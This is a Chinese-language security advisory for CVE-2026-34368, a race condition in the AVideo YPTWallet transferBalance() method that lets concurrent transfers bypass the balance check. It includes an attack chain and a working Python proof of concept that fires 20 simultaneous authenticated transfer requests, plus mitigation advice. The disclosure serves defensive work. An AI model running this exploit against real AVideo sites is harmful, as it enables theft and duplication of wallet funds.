IPBUF安全漏洞报告
English
CVE-2026-34368 CVSS 5.3 中危

CVE-2026-34368: AVideo钱包竞态条件漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-34368
漏洞类型
竞态条件
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

竞态条件TOCTOUWWBN AVideo逻辑漏洞经济利益受损

漏洞概述

WWBN AVideo是一个广泛使用的开源视频平台。在其26.0及更早版本中,集成的YPTWallet钱包插件存在严重的安全漏洞。具体而言,`transferBalance()`方法在处理资金转账时,未能正确实施并发控制,导致出现检查时与使用时(TOCTOU)的竞态条件。由于缺乏必要的事务机制,攻击者可利用此漏洞并发发送转账请求,绕过余额校验逻辑,导致资金被非法重复获取,造成严重的经济损失和数据完整性破坏。

技术细节

该漏洞的核心原理在于PHP代码中的`transferBalance()`方法在执行逻辑上存在原子性缺失。该方法首先从数据库读取发送方当前余额,然后在PHP应用层判断余额是否充足,最后执行写入操作更新数据库。由于整个过程未包裹在数据库事务中,也未对数据行加锁,导致“检查”与“使用”之间存在时间窗口。攻击者通过编写脚本,利用多线程或异步请求同时发送大量转账请求,使得这些请求几乎在同一时刻读取到相同的初始余额。所有请求均通过余额校验,导致系统在扣除一次余额或未正确扣除的情况下,多次向接收方账户增加金额,从而实现资金的无限复制或窃取。

攻击链分析

STEP 1
侦察与准备
攻击者在WWBN AVideo平台上注册两个账户,一个作为发送方(余额有限),一个作为接收方。
STEP 2
会话建立
攻击者登录发送方账户,获取有效的会话Cookie。
STEP 3
漏洞利用
攻击者运行脚本,开启多个并发线程,同时向服务器发送`transferBalance`转账请求。
STEP 4
竞态触发
服务器几乎同时接收多个请求,所有请求在数据库更新前都读取到了相同的初始余额,并通过了PHP层面的余额充足性检查。
STEP 5
数据篡改
数据库依次执行写入操作,导致接收方账户被多次增加金额,而发送方可能仅扣除了一次金额或扣除金额不足,实现资产倍增。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import threading # Configuration TARGET_URL = "http://target-site/plugin/YPTWallet/transferBalance.json" SESSION_COOKIE = "valid_session_cookie_here" RECEIVER_ID = "2" AMOUNT = "100" # Headers and Payload headers = { "Cookie": f"PHPSESSID={SESSION_COOKIE}", "Content-Type": "application/x-www-form-urlencoded" } data = { "to_users_id": RECEIVER_ID, "amount": AMOUNT } def send_transfer(): """ Function to send a single transfer request. Intended to be run in multiple threads to simulate race condition. """ try: response = requests.post(TARGET_URL, headers=headers, data=data) print(f"Thread {threading.get_ident()}: Status {response.status_code}, Body: {response.text}") except Exception as e: print(f"Thread {threading.get_ident()}: Error {e}") # Create multiple threads to exploit the race condition threads = [] for i in range(20): # Sending 20 concurrent requests t = threading.Thread(target=send_transfer) threads.append(t) t.start() for t in threads: t.join() print("Exploit attempt finished.")

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时通过WAF(Web应用防火墙)限制单个用户对转账接口的请求频率,或者临时禁用YPTWallet插件,直到应用补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表